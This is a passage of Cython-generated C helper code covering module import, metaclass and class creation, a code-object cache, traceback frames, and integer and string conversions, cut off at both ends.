(strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res 